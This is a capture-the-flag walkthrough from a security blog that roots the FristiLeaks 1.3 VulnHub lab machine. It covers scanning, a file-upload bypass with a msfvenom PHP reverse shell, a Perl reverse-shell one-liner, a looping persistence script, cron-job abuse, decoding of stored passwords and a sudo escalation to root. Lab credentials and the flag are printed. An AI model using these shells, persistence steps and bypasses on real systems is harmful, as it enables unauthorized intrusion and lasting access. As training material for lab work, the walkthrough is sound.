seekorswim My Security Blog

FristiLeaks: 1.3

VulnHub URL: https://www.vulnhub.com/entry/fristileaks-13,133/
Hostname: localhost
IP Address: 10.183.0.208


Information Gathering/Recon


The IP address is obtained via DHCP at boot. In my case, the IP is 10.183.0.208.


Service Enumeration/Scanning


root@kali:~/Walkthroughs/fristileaks13# nmap -Pn -sT -sV -A -oA fristileaks13 -p 1-65535 10.183.0.208
Starting Nmap 7.70 ( https://nmap.org ) at 2019-04-18 10:27 EDT
Nmap scan report for 10.183.0.208
Host is up (0.18s latency).
Not shown: 65534 filtered ports
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.2.15 ((CentOS) DAV/2 PHP/5.3.3)
| http-methods:
|_  Potentially risky methods: TRACE
| http-robots.txt: 3 disallowed entries
|_/cola /sisi /beer
|_http-server-header: Apache/2.2.15 (CentOS) DAV/2 PHP/5.3.3
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
MAC Address: 08:00:27:A5:A6:76 (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 2.6.X|3.X
OS CPE: cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3
OS details: Linux 2.6.32 - 3.10, Linux 2.6.32 - 3.13
Network Distance: 1 hop

TRACEROUTE
HOP RTT       ADDRESS
1   183.42 ms 10.183.0.208

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 1493.27 seconds


Gaining Access


Visiting the default site for the HTTP service just produces a sort of welcome page. Nmap already showed us some of the software versions in use, but let's use nikto to see if anything else shows up.

root@kali:~/Walkthroughs/fristileaks13# nikto -h http://10.183.0.208
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          10.183.0.208
+ Target Hostname:    10.183.0.208
+ Target Port:        80
+ Start Time:         2019-04-18 12:41:26 (GMT-4)
---------------------------------------------------------------------------
+ Server: Apache/2.2.15 (CentOS) DAV/2 PHP/5.3.3
+ Server may leak inodes via ETags, header found with file /, inode: 12722, size: 703, mtime: Tue Nov 17 13:45:47 2015
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ Entry '/cola/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ Entry '/sisi/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ Entry '/beer/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ "robots.txt" contains 3 entries which should be manually viewed.
+ PHP/5.3.3 appears to be outdated (current is at least 7.2.12). PHP 5.6.33, 7.0.27, 7.1.13, 7.2.1 may also current release for each branch.
+ Apache/2.2.15 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.
+ Allowed HTTP Methods: GET, HEAD, POST, OPTIONS, TRACE
+ OSVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to XST
+ OSVDB-3268: /icons/: Directory indexing found.
+ OSVDB-3268: /images/: Directory indexing found.
+ OSVDB-3233: /icons/README: Apache default file found.
+ 8727 requests: 0 error(s) and 15 item(s) reported on remote host
+ End Time:           2019-04-18 12:42:26 (GMT-4) (60 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

Searching the exploit database, the version of Apache in use has a known vulnerability.

Apache 2.2.15 mod_proxy - Reverse Proxy Security Bypass                                                      | exploits/linux/remote/36663.txt
[...]
Apache < 2.0.64 / < 2.2.21 mod_setenvif - Integer Overflow                                                   | exploits/linux/dos/41769.txt
Apache < 2.2.34 / < 2.4.27 - OPTIONS Memory Leak                                                             | exploits/linux/webapps/42745.py

Digging into the '36663.txt' vulnerability, this doesn't look promising for gaining remote access to the system. Specifically, "An attacker needs to host a malicious web application on the affected webserver."

From https://www.securityfocus.com/bid/51869/exploit


The exploit database has lots of potential issues for PHP 5.3.3.

PHP 5.3.3 - 'ibase_gen_id()' Off-by-One Overflow                                                             | exploits/php/dos/14678.txt
PHP 5.3.3 - NumberFormatter::getSymbol Integer Overflow                                                      | exploits/multiple/dos/15722.txt
PHP 5.3.3/5.2.14 - ZipArchive::getArchiveComment Null Pointer Dereference                                    | exploits/php/dos/15431.txt
[...]
PHP < 5.3.12 / < 5.4.2 - CGI Argument Injection                                                              | exploits/php/remote/18836.py
PHP < 5.3.6 'OpenSSL' Extension - 'openssl_decrypt' Ciphertext Data Memory Leak Denial of Service            | exploits/php/dos/35487.php
PHP < 5.3.6 'OpenSSL' Extension - 'openssl_encrypt' Plaintext Data Memory Leak Denial of Service             | exploits/php/dos/35486.php
PHP < 5.3.6 'Zip' Extension - 'zip_fread()' Denial of Service                                                | exploits/php/dos/35485.php
PHP < 5.3.7 - Multiple Null Pointer Dereference Denial of Service Vulnerabilities                            | exploits/php/dos/36070.txt

The only one that seems to have potential is 18836.py, but trying it doesn't produce the expected result. Moving on...

None of the directories found by nikto produce anything useful. Let's see what dirb gives us.

root@kali:~/Walkthroughs/fristileaks13# dirb http://10.183.0.208 /usr/share/dirb/wordlists/big.txt -o dirb-http-10.183.0.208.txt

-----------------
DIRB v2.22
By The Dark Raver
-----------------

OUTPUT_FILE: dirb-http-10.183.0.208.txt
START_TIME: Thu Apr 18 12:46:49 2019
URL_BASE: http://10.183.0.208/
WORDLIST_FILES: /usr/share/dirb/wordlists/big.txt

-----------------

GENERATED WORDS: 20458

---- Scanning URL: http://10.183.0.208/ ----
==> DIRECTORY: http://10.183.0.208/beer/
+ http://10.183.0.208/cgi-bin/ (CODE:403|SIZE:210)
==> DIRECTORY: http://10.183.0.208/images/
+ http://10.183.0.208/robots.txt (CODE:200|SIZE:62)

---- Entering directory: http://10.183.0.208/beer/ ----

---- Entering directory: http://10.183.0.208/images/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
    (Use mode '-w' if you want to scan it anyway)

-----------------
END_TIME: Thu Apr 18 12:50:24 2019
DOWNLOADED: 40916 - FOUND: 2

The only new directory dirb gave us is 'cgi-bin', but attempts to access it fail with a 403 Forbidden error.

Let's think. Cola, sisi and beer are all drinks. So is 'fristi' (like the name of the VM, fristileaks). Let's try http://10.183.0.208/fristi/

Finally, something interesting.




Viewing the page source, we see images are displayed inline as base64. We notice there is a commented out block of base64 text, so we copy it and decode it here.

https://codebeautify.org/base64-to-image-converter


Nice. Looks like a password. Now, what about a username? We manually try some obvious ones (admin, root, etc), but no dice. Next, we decide to try to brute force the username using wfuzz.

wfuzz -c -z file,/usr/share/wordlists/metasploit/namelist.txt -t 50 -X POST -d "myusername=FUZZ&mypassword=keKkeKKeKKeKkEkkEk&Submit=Login" -H "Referer: http://10.183.0.208/fristi/" --hh 26 http://10.183.0.208/fristi/checklogin.php

Unfortunately, this also yields no results. Let's see if the username is also "hidden" in the login page source code.

At the top of the page, there is a comment from 'eezeepz'.



Let's try 'eezeepz' as the username and 'keKkeKKeKKeKkEkkEk' as the password.

Works! 😄 And we get to upload a file. I'm thinking, reverse shell.



After clicking the link, we are taken to http://10.183.0.208/fristi/upload.php to upload an image. I'm thinking... not reverse shell?!? 😞



Let's see how strong the input validation is. When trying to upload a random TXT file I get the following back.



Fair enough. Now the question is, are they checking the file extension or the file type/mime type (provided in the request). Let's try this again, using Burp to intercept the request and try to bypass the upload restrictions... [several minutes later] so... I wasn't able to make any manipulations to bypass the restriction. I guess we can just try uploading our PHP reverse shell code with an acceptable extension and see what happens. (According to the Apache documentation, "Care should be taken when a file with multiple extensions gets associated with both a media-type and a handler. This will usually result in the request being handled by the module associated with the handler." So, since an image is a media-type and PHP has a handler, the file.php.png gets processed by the handler... which is good for us.)

root@kali:~/Walkthroughs/fristileaks13# msfvenom -p php/reverse_php LHOST=10.183.0.222 LPORT=5432 -f raw > rev.php
[-] No platform was selected, choosing Msf::Module::Platform::PHP from the payload
[-] No arch selected, selecting arch: php from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 3057 bytes
root@kali:~/Walkthroughs/fristileaks13# mv rev.php rev.php.png

I use msfvenom to create the PHP reverse shell code and rename the file as rev.php.png. Uploading this file to the server works and tells me the file is located under /uploads.



Time to start my listeners in Metasploit. Because the PHP reverse shell times out rather quickly, I typically like to start two listeners and jump to a different reverse shell as soon as the first one connects.

msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload php/reverse_php
payload => php/reverse_php
msf5 exploit(multi/handler) > set LHOST 10.183.0.222
LHOST => 10.183.0.222
msf5 exploit(multi/handler) > set LPORT 5432
LPORT => 5432
msf5 exploit(multi/handler) > run -j
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 10.183.0.222:5432
msf5 exploit(multi/handler) >
msf5 exploit(multi/handler) > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload generic/shell_reverse_tcp
payload => generic/shell_reverse_tcp
msf5 exploit(multi/handler) > set LHOST 10.183.0.222
LHOST => 10.183.0.222
msf5 exploit(multi/handler) > set LPORT 5433
LPORT => 5433
msf5 exploit(multi/handler) > run -j
[*] Exploit running as background job 1.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 10.183.0.222:5433

With the listeners started, I request my PHP reverse shell "image" from http://10.183.0.208/fristi/uploads/rev.php.png... and my session connects...

msf5 exploit(multi/handler) > [*] Command shell session 1 opened (10.183.0.222:5432 -> 10.183.0.208:40599) at 2019-04-18 16:20:45 -0400

msf5 exploit(multi/handler) > sessions 1
[*] Starting interaction with 1...

pwd
/var/www/html/fristi/uploads
id
uid=48(apache) gid=48(apache) groups=48(apache)
perl -e 'use Socket;$i="10.183.0.222";$p=5433;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
[*] Command shell session 2 opened (10.183.0.222:5433 -> 10.183.0.208:37332) at 2019-04-18 16:21:09 -0400

background

Background session 1? [y/N]  y
msf5 exploit(multi/handler) > sessions 2
[*] Starting interaction with 2...

sh-4.1$ id
id
uid=48(apache) gid=48(apache) groups=48(apache)


Maintaining Access


I decided to create a simple shell script that will try to connect back to my attacking machine every 5 minutes and use python's SimpleHTTPServer to serve it up to the victim.

root@kali:~/Walkthroughs/fristileaks13# cat thumbs
#!/bin/sh
while true; do
    perl -e 'use Socket;$i="10.183.0.222";$p=5433;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
    # sleep for 300 seconds (5 mins)
    sleep 300
done
root@kali:~/Walkthroughs/fristileaks13# python -m SimpleHTTPServer 4321
Serving HTTP on 0.0.0.0 port 4321 ...
10.183.0.208 - - [18/Apr/2019 16:37:36] "GET /thumbs HTTP/1.0" 200 -

I downloaded the script to the victim's /var/www/html/fristi/uploads directory and ran it in the background. Now, if I get disconnected, I should be able to restart a listener and get back in within 5 minutes.

sh-4.1$ wget -O thumbs 10.183.0.222:4321/thumbs
wget -O thumbs 10.183.0.222:4321/thumbs
--2019-04-18 16:37:36--  http://10.183.0.222:4321/thumbs
Connecting to 10.183.0.222:4321... connected.
HTTP request sent, awaiting response... 200 OK
Length: 307 [application/octet-stream]
Saving to: `thumbs'

     0K                                                       100% 61.5M=0s

2019-04-18 16:37:36 (61.5 MB/s) - `thumbs' saved [307/307]

sh-4.1$ chmod +x thumbs
chmod +x thumbs
sh-4.1$ ./thumbs &
./thumbs &
[1] 23405


Privilege Escalation


Looking around in the /var/www/html/fristi directory, I wanted to see if the login credentials we used were hard coded or coming from a database. I checked the 'checklogin.php' file and found the page is using a backend MySQL database and the database credentials are stored in the page source.

bash-4.1$ cat checklogin.php
<?php


ob_start();
$host="localhost"; // Host name
$username="eezeepz"; // Mysql username
$password="4ll3maal12#"; // Mysql password
$db_name="hackmenow"; // Database name
$tbl_name="members"; // Table name


// Connect to server and select databse.
mysql_connect("$host", "$username", "$password")or die("cannot connect");
mysql_select_db("$db_name")or die("cannot select DB");
[...]

Dropping back directory by directory and checking out interesting files, we find a notes.txt file in /var/www.

bash-4.1$ cat notes.txt
hey eezeepz your homedir is a mess, go clean it up, just dont delete
the important stuff.

-jerry

So, looks like we should take a look at eezeepz's home directory. Let's see where that is exactly.

bash-4.1$ grep eezeepz /etc/passwd
eezeepz:x:500:500::/home/eezeepz:/bin/bash

Right where you'd expect. Before going over there, though, we'll keep looking around.

As we keep stepping back, we notice the directory /var/fristigod. That seems interesting, so we might come back to it later. We don't currently have permissions.

drwxr-x---   3 fristigod fristigod 4096 Nov 25  2015 fristigod

Checking /home, we see the following.

bash-4.1$ cd /home
bash-4.1$ ls -l
ls -l
total 20
drwx------. 2 admin     admin      4096 Nov 19  2015 admin
drwx---r-x. 5 eezeepz   eezeepz   12288 Nov 18  2015 eezeepz
drwx------  2 fristigod fristigod  4096 Nov 19  2015 fristigod

The home directory for eezeepz contains several executables, plus another notes.txt from Jerry.

bash-4.1$ cat notes.txt
Yo EZ,

I made it possible for you to do some automated checks,
but I did only allow you access to /usr/bin/* system binaries. I did
however copy a few extra often needed commands to my
homedir: chmod, df, cat, echo, ps, grep, egrep so you can use those
from /home/admin/

Don't forget to specify the full path for each binary!

Just put a file called "runthis" in /tmp/, each line one command. The
output goes to the file "cronresult" in /tmp/. It should
run every minute with my account privileges.

- Jerry

So, if we are reading this correctly, Jerry has set up a cron job to run a file called /tmp/runthis every minute. Apparently he has also put some commands in /home/admin for us to be able to call directly in our 'runthis' file.

Poor Jerry. The first command I'm going to run is to make all the /home directories wide open.

root@kali:~/Walkthroughs/fristileaks13# cat runthis
/home/admin/chmod -R 777 /home/*

I edit the file locally and transfer it to the victim's /tmp directory using python's SimpleHTTPServer and wget (like above).

Once I see the cron job has run, it's time to go take a look into Jerry's admin folder.

bash-4.1$ cd /home/admin
bash-4.1$ ls -F
cat*    cronjob.py*       cryptpass.py*  echo*   grep*  whoisyourgodnow.txt
chmod*  cryptedpass.txt*  df*            egrep*  ps*

There are a couple of interesting TXT files with what appear to be encrypted passwords.

bash-4.1$ cat cryptedpass.txt
mVGZ3O3omkJLmy2pcuTq
bash-4.1$ cat whoisyourgodnow.txt
=RFn0AKnlMHMPIzpyuTI0ITG

Not surprisingly, there is also a python script called cryptpass.py.

bash-4.1$ cat cryptpass.py
#Enhanced with thanks to Dinesh Singh Sikawar @LinkedIn
import base64,codecs,sys

def encodeString(str):
    base64string= base64.b64encode(str)
    return codecs.encode(base64string[::-1], 'rot13')

cryptoResult=encodeString(sys.argv[1])
print cryptoResult

We should be able to reverse this encryption routine pretty easily. I'd like to test the original out first to see what format the hashes end up in and to make sure my reverse routine is working. I start by recreating cryptpass.py (with some extra print statements) on my attacking machine and test it out.

root@kali:~/Walkthroughs/fristileaks13# python cryptpass.py testing
dGVzdGluZw==
==wZulGdzVGd
==jMhyTqmITq

So, the routine takes my string, base64 encodes it, reverses the base64 encoded string, then encodes it again using the 'rot13' codec. (The python docs for codecs state that rot13 'Returns the Caesar-cypher encryption of the operand', FYI.)

Now I'll create decryptpass.py, reversing the order of operations (i.e., decode rot13, reverse the string and decode base64).

root@kali:~/Walkthroughs/fristileaks13# cat decryptpass.py
import base64,codecs,sys

def decodeString(crypt):
    base64string=codecs.decode(crypt, 'rot13')
    return base64.b64decode(base64string[::-1])

str=decodeString(sys.argv[1])
print str

I test decryptpass.py with the cipher text from my test... and it works.

root@kali:~/Walkthroughs/fristileaks13# python decryptpass.py ==jMhyTqmITq
testing

Time to try the cipher text from Jerry's TXT files. Looking closely at the encrypted strings in the TXT files, we see they don't have the preceding '==' like our test cipher. Let's go ahead and add that when trying to decrypt.

root@kali:~/Walkthroughs/fristileaks13# python decryptpass.py ==mVGZ3O3omkJLmy2pcuTq
thisisalsopw123
root@kali:~/Walkthroughs/fristileaks13# python decryptpass.py ==RFn0AKnlMHMPIzpyuTI0ITG
LetThereBeFristi!

Nice! looks like we were able to decrypt both passwords. Now, to test them. We've already taken over Jerry's home directory. Let's try to become 'fristigod'.

bash-4.1$ su - fristigod
Password: LetThereBeFristi!

-bash-4.1$ id
uid=502(fristigod) gid=502(fristigod) groups=502(fristigod)

There is a /home/fristigod directory, but we remember seeing in /etc/passwd that fristigod's home directory is actually /var/fristigod (that interesting directory from earlier).

-bash-4.1$ grep `whoami` /etc/passwd
fristigod:x:502:502::/var/fristigod:/bin/bash

Let's go check it out...

-bash-4.1$ cd /var/fristigod
-bash-4.1$ ls -a
.  ..  .bash_history  .secret_admin_stuff

The hidden '.secret_admin_stuff' directory is obviously going to be juicy, but let's check out the .bash_history file first to see what fristigod has been up to.

-bash-4.1$ cat .bash_history
cat .bash_history
ls
pwd
ls -lah
cd .secret_admin_stuff/
ls
./doCom
./doCom test
sudo ls
exit
cd .secret_admin_stuff/
ls
./doCom
sudo -u fristi ./doCom ls /
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom ls /
exit
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom ls /
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom
exit
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom
exit
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom
sudo /var/fristigod/.secret_admin_stuff/doCom
exit
sudo /var/fristigod/.secret_admin_stuff/doCom
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom
exit
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom
exit
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom
groups
ls -lah
usermod -G fristigod fristi
exit
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom
less /var/log/secure e
Fexit
exit
exit

Looks like they like to use the 'doCom' command. Looks like they can also run it with 'sudo', which is nice. Let's take a page out of their book and try to 'doCom' /bin/bash.

-bash-4.1$ sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom /bin/bash
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom /bin/bash
[sudo] password for fristigod: LetThereBeFristi!

bash-4.1# id
id
uid=0(root) gid=100(users) groups=100(users),502(fristigod)

Hello, r00t!

Let's go check out /root

bash-4.1# cd /root
bash-4.1# ls
ls
fristileaks_secrets.txt
bash-4.1# cat fristileaks_secrets.txt
cat fristileaks_secrets.txt
Congratulations on beating FristiLeaks 1.0 by Ar0xA [https://tldr.nu]

I wonder if you beat it in the maximum 4 hours it's supposed to take!

Shoutout to people of #fristileaks (twitter) and #vulnhub (FreeNode)


Flag: Y0u_kn0w_y0u_l0ve_fr1st1



Pivoting

N/A


Clean Up


*** REMOVE /var/www/html/fristi/uploads/rev.php.png ***
*** STOP /var/www/html/fristi/uploads/thumbs ***
*** REMOVE /var/www/html/fristi/uploads/thumbs ***
*** REMOVE /tmp/runthis ***
*** REMOVE /tmp/cronresult ***
*** FIX PERMISSIONS /home/admin ***


Additional Info


'hackmenow' Database

After gaining root, I decided to go back and check out those db credentials we found in /var/www/html/fristi/checklogin.php. Unfortunately, the eezeepz was the only user in the members database. There aren't any other tables or databases to look at.

bash-4.1# mysql -u eezeepz -p -h localhost hackmenow
mysql -u eezeepz -p -h localhost hackmenow
Enter password: 4ll3maal12#

Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 51930
Server version: 5.1.73 Source distribution

Copyright (c) 2000, 2013, Oracle and/or its affiliates. All rights reserved.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> show tables;
+---------------------+
| Tables_in_hackmenow |
+---------------------+
| members             |
+---------------------+
1 row in set (0.00 sec)

mysql> select * from members;
+----+----------+--------------------+
| id | username | password           |
+----+----------+--------------------+
|  1 | eezeepz  | keKkeKKeKKeKkEkkEk |
+----+----------+--------------------+
1 row in set (0.00 sec)

mysql> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| hackmenow          |
+--------------------+
2 rows in set (0.00 sec)

mysql>